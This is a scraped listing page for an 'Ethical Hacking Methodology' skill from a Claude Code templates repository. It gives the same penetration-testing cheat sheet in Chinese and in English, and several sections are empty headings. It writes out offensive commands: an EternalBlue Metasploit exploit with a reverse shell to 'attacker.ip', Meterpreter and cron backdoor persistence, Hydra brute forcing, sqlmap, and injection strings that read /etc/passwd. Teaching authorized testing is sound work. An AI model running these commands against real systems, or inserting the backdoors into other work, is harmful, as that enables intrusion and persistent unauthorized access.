Ethical Hacking Methodology by davila7/claude-code-templates
npx skills add https://github.com/davila7/claude-code-templates --skill 'Ethical Hacking Methodology'掌握从侦察到报告的完整渗透测试生命周期。本技能涵盖道德黑客方法论的五个阶段、必备工具、攻击技术以及授权安全评估的专业报告撰写。
安全专业人员分类:
白帽黑客(道德黑客)
黑帽黑客(恶意)
灰帽黑客(混合型)
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
其他分类
在不直接与系统交互的情况下收集信息:
被动侦察
# WHOIS 查询
whois target.com
# DNS 枚举
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS
# 子域名发现
dnsrecon -d target.com
# 邮箱收集
theHarvester -d target.com -b all
谷歌黑客(开源情报)
# 查找暴露的文件
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc
# 查找登录页面
site:target.com inurl:login
site:target.com inurl:admin
# 查找目录列表
site:target.com intitle:"index of"
# 查找配置文件
site:target.com filetype:config
site:target.com filetype:env
谷歌黑客数据库类别:
社交媒体侦察
主动枚举目标系统:
主机发现
# Ping 扫描
nmap -sn 192.168.1.0/24
# ARP 扫描(本地网络)
arp-scan -l
# 发现存活主机
nmap -sP 192.168.1.0/24
端口扫描
# TCP SYN 扫描(隐蔽)
nmap -sS target.com
# 完整 TCP 连接扫描
nmap -sT target.com
# UDP 扫描
nmap -sU target.com
# 全端口扫描
nmap -p- target.com
# 前 1000 个端口及服务检测
nmap -sV target.com
# 主动扫描(操作系统、版本、脚本)
nmap -A target.com
服务枚举
# 特定服务脚本
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com
# 漏洞扫描
nmap --script=vuln target.com
常见端口参考
| 端口 | 服务 | 说明 |
|---|---|---|
| 21 | FTP | 文件传输 |
| 22 | SSH | 安全外壳 |
| 23 | Telnet | 未加密远程访问 |
| 25 | SMTP | 电子邮件 |
| 53 | DNS | 名称解析 |
| 80 | HTTP | Web |
| 443 | HTTPS | 安全 Web |
| 445 | SMB | Windows 共享 |
| 3306 | MySQL | 数据库 |
| 3389 | RDP | 远程桌面 |
识别可利用的弱点:
自动化扫描
# Nikto Web 扫描器
nikto -h http://target.com
# OpenVAS(命令行)
omp -u admin -w password --xml="<get_tasks/>"
# Nessus(通过 API)
nessuscli scan --target target.com
Web 应用程序测试(OWASP)
手动技术
# 目录暴力破解
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# 子域名枚举
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
# Web 技术指纹识别
whatweb target.com
主动利用已发现的漏洞:
Metasploit 框架
# 启动 Metasploit
msfconsole
# 搜索漏洞利用程序
msf> search type:exploit name:smb
# 使用特定漏洞利用程序
msf> use exploit/windows/smb/ms17_010_eternalblue
# 设置目标
msf> set RHOSTS target.com
# 设置载荷
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip
# 执行
msf> exploit
密码攻击
# Hydra 暴力破解
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Web 利用
# SQLMap 用于 SQL 注入
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables
# XSS 测试
# 手动:<script>alert('XSS')</script>
# 命令注入测试
# ; ls -la
# | cat /etc/passwd
建立持久访问:
后门
# Meterpreter 持久化
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
# SSH 密钥持久化
# 将攻击者的公钥添加到 ~/.ssh/authorized_keys
# Cron 作业持久化
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
权限提升
# Linux 枚举
linpeas.sh
linux-exploit-suggester.sh
# Windows 枚举
winpeas.exe
windows-exploit-suggester.py
# 检查 SUID 二进制文件(Linux)
find / -perm -4000 2>/dev/null
# 检查 sudo 权限
sudo -l
清除痕迹(道德情境)
专业地记录发现:
报告结构
* 高级别发现
* 业务影响
* 风险评级
* 修复优先级
2. 技术发现
* 漏洞详情
* 概念验证
* 截图/证据
* 受影响的系统
3. 风险评级
* 严重:需要立即行动
* 高:在 24-48 小时内处理
* 中:在 1 周内处理
* 低:在 1 个月内处理
* 信息性:最佳实践建议
4. 修复建议
* 针对每个发现的具体修复方案
* 短期缓解措施
* 长期解决方案
* 资源需求
5. 附录
* 详细扫描输出
* 工具配置
* 测试时间线
* 范围和方法论
网络钓鱼
恶意软件类型
网络攻击
安装渗透测试平台:
硬盘安装
实时 USB(持久化)
# 创建可启动 USB
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
# 创建持久化分区
gparted /dev/sdb
# 添加标签为 "persistence" 的 ext4 分区
# 配置持久化
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usb
法律要求
职业操守
| 阶段 | 目的 | 关键工具 |
|---|---|---|
| 侦察 | 收集信息 | theHarvester、WHOIS、Google |
| 扫描 | 枚举目标 | Nmap、Nikto、Gobuster |
| 利用 | 获取访问权限 | Metasploit、SQLMap、Hydra |
| 维持访问 | 持久化 | Meterpreter、SSH 密钥 |
| 报告 | 记录发现 | 报告模板 |
| 命令 | 目的 |
|---|---|
nmap -sV target | 端口和服务扫描 |
nikto -h target | Web 漏洞扫描 |
msfconsole | 启动 Metasploit |
hydra -l user -P list ssh://target | SSH 暴力破解 |
sqlmap -u "url?id=1" --dbs | SQL 注入 |
解决方案:
解决方案:
每周安装
0
仓库
GitHub 星标
22.6K
首次出现
1970年1月1日
安全审计
Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.
Classification of security professionals:
White Hat Hackers (Ethical Hackers)
Black Hat Hackers (Malicious)
Grey Hat Hackers (Hybrid)
Other Classifications
Gather information without direct system interaction:
Passive Reconnaissance
# WHOIS lookup
whois target.com
# DNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS
# Subdomain discovery
dnsrecon -d target.com
# Email harvesting
theHarvester -d target.com -b all
Google Hacking (OSINT)
# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc
# Find login pages
site:target.com inurl:login
site:target.com inurl:admin
# Find directory listings
site:target.com intitle:"index of"
# Find configuration files
site:target.com filetype:config
site:target.com filetype:env
Google Hacking Database Categories:
Social Media Reconnaissance
Active enumeration of target systems:
Host Discovery
# Ping sweep
nmap -sn 192.168.1.0/24
# ARP scan (local network)
arp-scan -l
# Discover live hosts
nmap -sP 192.168.1.0/24
Port Scanning
# TCP SYN scan (stealth)
nmap -sS target.com
# Full TCP connect scan
nmap -sT target.com
# UDP scan
nmap -sU target.com
# All ports scan
nmap -p- target.com
# Top 1000 ports with service detection
nmap -sV target.com
# Aggressive scan (OS, version, scripts)
nmap -A target.com
Service Enumeration
# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com
# Vulnerability scanning
nmap --script=vuln target.com
Common Port Reference
| Port | Service | Notes |
|---|---|---|
| 21 | FTP | File transfer |
| 22 | SSH | Secure shell |
| 23 | Telnet | Unencrypted remote |
| 25 | SMTP | |
| 53 | DNS | Name resolution |
| 80 | HTTP | Web |
| 443 | HTTPS | Secure web |
| 445 | SMB | Windows shares |
| 3306 | MySQL | Database |
| 3389 | RDP | Remote desktop |
Identify exploitable weaknesses:
Automated Scanning
# Nikto web scanner
nikto -h http://target.com
# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"
# Nessus (via API)
nessuscli scan --target target.com
Web Application Testing (OWASP)
Manual Techniques
# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
# Web technology fingerprinting
whatweb target.com
Actively exploit discovered vulnerabilities:
Metasploit Framework
# Start Metasploit
msfconsole
# Search for exploits
msf> search type:exploit name:smb
# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue
# Set target
msf> set RHOSTS target.com
# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip
# Execute
msf> exploit
Password Attacks
# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Web Exploitation
# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables
# XSS testing
# Manual: <script>alert('XSS')</script>
# Command injection testing
# ; ls -la
# | cat /etc/passwd
Establish persistent access:
Backdoors
# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
# SSH key persistence
# Add attacker's public key to ~/.ssh/authorized_keys
# Cron job persistence
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
Privilege Escalation
# Linux enumeration
linpeas.sh
linux-exploit-suggester.sh
# Windows enumeration
winpeas.exe
windows-exploit-suggester.py
# Check SUID binaries (Linux)
find / -perm -4000 2>/dev/null
# Check sudo permissions
sudo -l
Covering Tracks (Ethical Context)
Document findings professionally:
Report Structure
Executive Summary
Technical Findings
Risk Ratings
Remediation Recommendations
Appendices
Phishing
Malware Types
Network Attacks
Install penetration testing platform:
Hard Disk Installation
Live USB (Persistent)
# Create bootable USB
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
# Create persistence partition
gparted /dev/sdb
# Add ext4 partition labeled "persistence"
# Configure persistence
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usb
Legal Requirements
Professional Conduct
| Stage | Purpose | Key Tools |
|---|---|---|
| Reconnaissance | Gather information | theHarvester, WHOIS, Google |
| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |
| Exploitation | Gain access | Metasploit, SQLMap, Hydra |
| Maintaining Access | Persistence | Meterpreter, SSH keys |
| Reporting | Document findings | Report templates |
| Command | Purpose |
|---|---|
nmap -sV target | Port and service scan |
nikto -h target | Web vulnerability scan |
msfconsole | Start Metasploit |
hydra -l user -P list ssh://target | SSH brute force |
sqlmap -u "url?id=1" --dbs | SQL injection |
Solutions:
Solutions:
Weekly Installs
0
Repository
GitHub Stars
22.6K
First Seen
Jan 1, 1970
Security Audits
开源项目教练指南 - 诊断问题、制定行动计划、优化开源项目运营
27,600 周安装